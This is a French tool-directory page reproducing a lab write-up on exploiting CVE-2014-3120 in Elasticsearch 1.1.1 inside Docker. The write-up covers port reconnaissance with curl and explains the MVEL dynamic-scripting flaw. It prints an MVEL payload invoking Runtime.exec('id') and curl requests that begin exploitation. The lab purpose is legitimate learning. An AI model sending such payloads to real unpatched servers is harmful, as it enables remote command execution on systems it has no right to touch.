Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2014-3120 — Guide de laboratoire étape par étape démontrant l'exploitation de CVE-2014-3120 contre Elasticsearch 1.1.1, couvrant l'analyse de vulnérabilité, RCE via le scripting MVEL, et la post-exploitation dans un environnement Docker. | Kitploit
Outils/GitHubGitHub/dungsocool/cve-2014-3120
Sécurité des ConteneursAnalyse des VulnérabilitésExploitationTests d'IntrusionApprentissage et ÉducationLabs et Pratique
GitHubdungsocool/cve-2014-3120

CVE-2014-3120

Guide de laboratoire étape par étape démontrant l'exploitation de CVE-2014-3120 contre Elasticsearch 1.1.1, couvrant l'analyse de vulnérabilité, RCE via le scripting MVEL, et la post-exploitation dans un environnement Docker.

Voir le dépôt
18il y a 4 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

LAB 10-CVE-2014-3120

I. ANALYSE DU SYSTÈME

Identification de la surface d'attaque depuis l'environnement Docker

En partant de ce qui est exécuté dans l'environnement. Nous listons tous les conteneurs actifs :

docker ps

image.png

Résultat : Le conteneur p1/lab10:latest est en cours d'exécution, exposant 2 ports vers l'extérieur :

Mappage de portsProtocole
0.0.0.0:9200 → 9200/tcpHTTP (à vérifier)
0.0.0.0:9300 → 9300/tcpInconnu

Observation initiale : Les ports 9200 et 9300 sont couramment connus comme les ports par défaut d'Elasticsearch. Cependant, nous ne pouvons pas conclure uniquement sur la base des numéros de ports – de nombreux autres services peuvent se lier à n'importe quel port.

⇒ Nous utilisons curl directement sur chaque port pour vérifier quel service est réellement en cours d'exécution.

Test du port 9300

curl -i http://192.168.3.137:9300/

image.png

Analyse de la réponse :

  • Réponse : curl: (52) Empty reply from server
  • En-tête Serveur : Aucun – le serveur ne renvoie aucune réponse HTTP

Évaluation : Le serveur a accepté la connexion TCP (pas de refus de connexion), mais n'a pas répondu en utilisant le protocole HTTP. Cela correspond au comportement du protocole Elasticsearch Transport sur le port 9300 – un protocole binaire utilisé pour la communication entre nœuds d'un cluster, pas HTTP.

⇒ État d'esprit : Le port 9300 utilise un protocole binaire → ne peut pas être exploité directement via curl/navigateur. Passer à la vérification du port 9200 – le port de l'API REST HTTP.


Test du port 9200

curl -i http://192.168.3.137:9200/

image.png

Analyse de la réponse :

ChampValeurSignification
name"Rage"Nom du nœud Elasticsearch (nom aléatoire de personnage Marvel – comportement par défaut des anciennes versions d'ES)
version.number"1.1.1"Version extrêmement ancienne – publiée en avril 2014
build_timestamp"2014-04-16T14:27:12Z"Construit en 2014
lucene_version"4.7"Lucene 4.7 – ancien moteur d'indexation
tagline"You Know, for Search"Phrase de signature caractéristique d'Elasticsearch

Évaluation de la surface d'attaque :

  • Confirmé qu'il s'agit d'Elasticsearch 1.1.1 – le service renvoie une réponse JSON caractéristique avec les détails complets de la version
  • Aucune authentification requise – l'API REST répond directement sans nécessiter d'identifiants
  • Elasticsearch 1.1.1 (2014) entre dans le périmètre d'impact de plusieurs CVEs critiques, notamment CVE-2014-3120 – une vulnérabilité permettant l'exécution de code arbitraire via Dynamic Scripting

image.png

⇒ État d'esprit : Elasticsearch 1.1.1 active Dynamic Scripting par défaut – permettant aux clients d'envoyer des scripts (expressions MVEL) dans les requêtes de recherche pour que le serveur les exécute. Sans bac à sable ni validation appropriée, un attaquant peut injecter un script malveillant pour exécuter des commandes système. Étape suivante : vérifier si Dynamic Scripting est effectivement actif sur la cible.

Vérifier Dynamic Scripting et le moteur MVEL

Qu'est-ce que Dynamic Scripting ?

Elasticsearch prend en charge une fonctionnalité de Scripting – permettant aux clients d'envoyer des scripts (expressions mathématiques ou logiques) dans les requêtes de recherche pour que le serveur les exécute lors du traitement des résultats. Dans Elasticsearch 1.x, le moteur par défaut pour cette fonctionnalité est MVEL (MVFLEX Expression Language) .

Problème de sécurité fondamental

Dans les versions d'Elasticsearch antérieures à 1.2, Dynamic Scripting est activé par défaut (script.disable_dynamic: false). Cela signifie :

  1. L'API REST ne nécessite pas d'authentification
  2. Les clients peuvent envoyer des scripts arbitraires via le paramètre script_fields dans l'API _search
  3. Le moteur MVEL manque d'un bac à sable suffisamment robuste – permettant l'accès à l'environnement d'exécution Java
  4. Les attaquants peuvent invoquer java.lang.Runtime.getRuntime().exec() pour exécuter des commandes système

Fonctionnement de script_fields

Lorsqu'une requête de recherche avec script_fields est envoyée, Elasticsearch va :

  1. Recevoir la requête JSON via l'API _search
  2. Analyser le champ script_fields → trouver le script à exécuter
  3. Évaluer le script à l'aide du moteur MVEL
  4. Le moteur MVEL a un accès complet à l'environnement d'exécution Java → peut invoquer n'importe quelle classe Java
  5. Renvoyer les résultats dans la réponse HTTP

Analyse du vecteur d'attaque : MVEL → Java Runtime → RCE

En Java, la manière la plus courante d'exécuter une commande système est :

Runtime.getRuntime().exec("commande");

MVEL, en tant que langage d'expression avec accès complet aux classes Java, permet d'invoquer cela directement :

import java.io.*;
new java.util.Scanner(Runtime.getRuntime().exec("id").getInputStream()).useDelimiter("\\A").next();

Explication de chaque partie :

PartieExplication
import java.io.*Importer les classes Java IO
Runtime.getRuntime()Récupérer l'instance Java Runtime
.exec("id")Exécuter la commande shell id
.getInputStream()Récupérer le flux de sortie du processus
new Scanner(...).useDelimiter("\\A").next()Lire toute la sortie sous forme de chaîne

⇒ État d'esprit : Avec Elasticsearch, la sortie de l'RCE est renvoyée directement dans la réponse – pas besoin de rediriger vers un fichier et de le relire. Cela rend l'exploit plus propre et plus rapide à vérifier.

II. EXPLOITATION

Confirmer que Dynamic Scripting est actif

Après avoir identifié la cible comme Elasticsearch 1.1.1, l'étape suivante consiste à vérifier si Dynamic Scripting est effectivement activé.

CVE-2014-3120 exploite le fait qu'Elasticsearch permet aux clients d'envoyer des scripts dans les requêtes _search. Si le script est exécuté par le serveur, un attaquant peut remplacer l'expression inoffensive par une charge utile qui appelle le Java Runtime pour exécuter des commandes système.

D'abord, nous créons un document de test pour garantir que la requête a au moins un résultat correspondant. Si aucun document ne correspond, script_fields ne sera pas évalué.

curl -s -X POST 'http://192.168.3.137:9200/test_index/test_type/1' \
  -H 'Content-Type: application/json' \
  -d '{"name":"test"}'

Puis on rafraîchit l'index :

curl -s -X POST 'http://192.168.3.137:9200/test_index/_refresh'

Ensuite, nous envoyons une requête _search avec script_fields contenant une expression MVEL inoffensive :

curl -s -X POST 'http://192.168.3.137:9200/test_index/_search?pretty' \
  -H 'Content-Type: application/json' \
  -d '{
    "size": 1,
    "query": {
      "match_all": {}
    },
    "script_fields": {
      "test": {
        "script": "1+1"
      }
    }
  }'

image.png

Télécharger l’outil